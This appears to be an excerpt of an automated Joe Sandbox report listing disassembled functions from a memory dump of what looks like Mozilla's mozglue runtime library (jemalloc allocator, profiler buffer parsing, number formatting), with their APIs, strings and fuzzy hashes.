VerSetConditionMask.NTDLL ref: 6CB13FA0
VerSetConditionMask.NTDLL ref: 6CB13FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB13FB4

Strings

nvinit.dll, xrefs: 6CB14479
nvd3d9wrap.dll, xrefs: 6CB14466

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction ID: 11d29a2e511d9fb78208664da36db111bf0e565b63a44457afd37582aaf6a2af
Opcode Fuzzy Hash: e5cb92ed2743c17e8672ba9cabecd15dda1405d4287ca8470d932710f62450ec
Instruction Fuzzy Hash: A3520471614B898FD710DF34C984AAB77E9EF45208F444A2DE4928BB42DB34F94DCBA0

Function 6CAFED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CAFEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CAFEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CB01695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CB01770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB01A3E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction ID: 3051c85551ef6d6a882ed8d41df3ee4c118ce8011c60e9cd66c67b219103582e
Opcode Fuzzy Hash: 1ccd5bc99e22ddbd314640b6b7141c749060ba8fe63e9a1c89b62f9223579826
Instruction Fuzzy Hash: B4B32A71E04259CFCB14CFA8C890A9DBBB2FF49304F1982A9D459AB745D730AD86CF91

Function 6CAEFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAEFF81
LeaveCriticalSection.KERNEL32(6CB5E7B8), ref: 6CAF022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAF0240
EnterCriticalSection.KERNEL32(6CB5E768), ref: 6CAF025B
LeaveCriticalSection.KERNEL32(6CB5E768), ref: 6CAF027B

Strings

MOZ_CRASH(), xrefs: 6CAF0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAEFE99, 6CAEFEB7, 6CAEFED3, 6CAF0DB8, 6CAF0DD3, 6CAF19B4, 6CAF1A10

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction ID: b588a0ac709f24c0e19a14a660f32190418afc8703d3e5c4b2ac9f44d40b000f
Opcode Fuzzy Hash: 24e5113b686f5467c09c2a74aac5c9dce45f034f58e18b0ede079f105149f3da
Instruction Fuzzy Hash: FDB28D716057418FD714CF29C590726BBE1AF85328F28C66CF9BA8B795D770E882CB81

Function 6CB25600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6CB25AC3
name, xrefs: 6CB25E79, 6CB25E8F
data, xrefs: 6CB26131
ProfileBuffer parse error: %s, xrefs: 6CB25AC8, 6CB25CBB
schema, xrefs: 6CB2606D
expected a Time entry, xrefs: 6CB25CB6

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction ID: 370c3f0e964b2e3a6d9f307a2b75deb763592722f2c3b243c2cb27dbcdef4064
Opcode Fuzzy Hash: 725b031dd5d6463b206aa04112cab22941fad224acf20597fe89a08d617962b2
Instruction Fuzzy Hash: 97922B71A083818FD724CF28C4907AABBE1FFC9308F54891DE5999B755DB34E849CB92

Function 6CB17E10 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6CB17E88
data, xrefs: 6CB18280, 6CB183E1
name, xrefs: 6CB17ECF, 6CB18335
schema, xrefs: 6CB181E3, 6CB18311

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema
API String ID: 3412268980-999448898
Opcode ID: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction ID: 2e9ff275ae563c422511c04b6932eed79c17a9807b7b3b77b0d0f0b2904ecee1
Opcode Fuzzy Hash: 4a18b54903ec5633819dfbb42ed4f24dbacf4b933b8772002cffb8d251b582ab
Instruction Fuzzy Hash: B1E16071A043848BC710CF68C84066BFBEAFBD9314F558A2DE895D7790DBB0DD498B92

Function 6CAFD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD4F2
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD50B

Part of subcall function 6CADCFE0: EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CADCFF6
Part of subcall function 6CADCFE0: LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CADD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD52E
EnterCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD6A6
LeaveCriticalSection.KERNEL32(6CB5E7DC), ref: 6CAFD712
LeaveCriticalSection.KERNEL32(6CB5E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CB0D1C5), ref: 6CAFD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CAFD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CAFD82C
<jemalloc>, xrefs: 6CAFD827

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction ID: 2cbf027aff4a9a122d7ccb22bc8963141fabacfb2969340c9c03b60dfc56b429
Opcode Fuzzy Hash: eef1126e761afe82cd2f3cdc1c584c17e1510cf087f633f256a4a12042bfa0db
Instruction Fuzzy Hash: EA91D371E047818FD756CF28C09076EB7E1EB89314F58492EE56ACBB80D734E885CB82

Function 6CAF5E90 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2
memset.VCRUNTIME140(6CB37765,000000E5,B5C09015), ref: 6CAF61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6CAF7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CAF72E3
MOZ_CRASH(), xrefs: 6CAF7BA4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAF7BCD, 6CAF7C1F, 6CAF7C34, 6CAF80FD
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CAF72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CAF730D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 2613674957-1127040744
Opcode ID: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction ID: 00aa817d710484ac027508d13b4393c06dc629c584fe7794dc47edc2d0abe7c2
Opcode Fuzzy Hash: 487a5849cd746bc6326fc5143fb520e112b7f90c2db3c541601930a646af8c7f
Instruction Fuzzy Hash: 31334A716056018FD308CF29C590615BBE2BF85328F2DC6ADE979CB7A5D771E882CB81

Function 6CB34EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6CB34EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB34F2E
moz_xmalloc.MOZGLUE ref: 6CB34F52
memset.VCRUNTIME140(00000000,00000000), ref: 6CB34F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB352E6
Sleep.KERNEL32(00000010), ref: 6CB35481
free.MOZGLUE(?), ref: 6CB35498

Strings

(, xrefs: 6CB35250

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction ID: d6f4327da437fc6a407a4c9025cefa2ae12ed498181c164028eb54bf840e7e79
Opcode Fuzzy Hash: 3854e4b8486f9f9ea7e5f660f2cc0e8cd8e1275af1c51790a85b4e68307d2610
Instruction Fuzzy Hash: 88F10371A18B508FC716DF38C85062BB7F6BFD6284F45872EF84AA7654DB31C8468B81

Function 6CB22C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB22C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB22C61

Part of subcall function 6CAD4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAD4E5A
Part of subcall function 6CAD4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB22C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB22E2D

Part of subcall function 6CAE81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CAE81DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CB22E3B
(root), xrefs: 6CB2354F
expected a Time entry, xrefs: 6CB22E36

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction ID: cc1f22e8813de4c602b730561888aa8a787efc50ba0746e75e2e21d0938e7fc1
Opcode Fuzzy Hash: 9a8d3b2dc3136446502885534dbab3ff24b211533be0f6b1734b09f51ed5e41e
Instruction Fuzzy Hash: D591BF706087C08FC724CF24C4956AFBBE5EF89268F50892DE59A8B750DB38D949CB53

Function 6CB39E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6CB39F3D
__aulldiv.LIBCMT ref: 6CB39F77
__aullrem.LIBCMT ref: 6CB39F8C
__aulldiv.LIBCMT ref: 6CB3A023

Strings

NaN, xrefs: 6CB39EAB
-Infinity, xrefs: 6CB39E60, 6CB39E7B

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction ID: e238c86d914fbb76665cff6723d3ff5fb9c8773fef018520feb2b9cca3d6d150
Opcode Fuzzy Hash: c172250ff930f5476a46f80697acd05fa0272a4007d22c9f4b20f81b06937590
Instruction Fuzzy Hash: FCC1C031E003698BDF14CFE8C85079EB7BAEF89704F245529D409ABB80DB70A949CF91

Function 6CADD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

@, xrefs: 6CADDAF6
, xrefs: 6CADDA88
0, xrefs: 6CADDC7F
0, xrefs: 6CADD852
9, xrefs: 6CADDE7F
8, xrefs: 6CADDC08
-, xrefs: 6CADD7DD
1, xrefs: 6CADDBDD

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction ID: 66a579a8e06fe43f9b1e1f370b6179cf729a35037e0ff385c592d60af16c2bd2
Opcode Fuzzy Hash: f83db76c67a4a8b28b2a950b4ab1f9327c040f545f54e671be3e56024bb81ef0
Instruction Fuzzy Hash: 8762BD70A1C3458FD701CE29C49075EBBF2AF86318F1A4A4DE4E54BA91C335A9C5CFA2

Function 6CADBEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CADC1CB
__aulldiv.LIBCMT ref: 6CADC24C
__aulldiv.LIBCMT ref: 6CADC348
__aullrem.LIBCMT ref: 6CADC365
__aulldiv.LIBCMT ref: 6CADC37D

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: d5f0b15c3235b0d78a544ea69d751b464ddc8f53be866ed60ebef39950557a0c
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 0E322532B046118FC718DE2CC890A5ABBE6AFC9314F4A866DE895CB3D5D734ED05CB91

Function 6CB4545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB48A4B

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 73c7c3159083e7b7458b2d0fa071a261538accf879c5b6808920953281f62134
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: FCB11772E0425A8FDB24CF68CC807EDB7B6EF85314F1842A9C549DB789D7309989DB90

Function 6CB4542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB488F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB4925C

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b0a5e2d7426b6a964172b7cc5d4514e3b0f92a900cd64f019a38c04953c1a319
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 0CB1E572E0424ACBDB14CF58CC806ADB7B6EF84314F144269C949EB789D730A989DB90

Function 6CB16CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CB16D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB16E1E

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction ID: 0b265bc250909f6a16d4fb5a15f81b5c6b31b0e42bc5d59226405f59cfb910ca
Opcode Fuzzy Hash: 82306a3c76963a13245ee28a985a7f6f774adf3703406901cdb7a7ffc67797a8
Instruction Fuzzy Hash: 0BA17D756183808FCB15CF24C4907AEBBE6FF89308F44495DE88A87B51DB70A949CB92

Function 6CB385F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB38C7C
__aulldiv.LIBCMT ref: 6CB38DD7

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 930a9499b9d9fa8ba45538adb393883e0da3a4e4513247c8d53651e5a506672b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 17327131F001698BDF18CE9DC4A17AEB7B2FB88300F15952BD50AFB790DA355D458B92

Function 6CB15C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CAE4A63,?,?), ref: 6CB15F06

Memory Dump Source

Source File: 00000000.00000002.2482929970.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2482904963.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483020866.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2483043697.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction ID: c285aefe597d8a73dd3e57ffc4985435ff30f298643fa8372b3d0453a67db626
Opcode Fuzzy Hash: 37243aff297a13b6630296c00e3f830d3e7a680d174b7d07d2768a091af07cc9
Instruction Fuzzy Hash: BCC1C075D052998FCB04CF94C5906EEBBB2FF8A318F28415DD8556BF44D732A809CB94

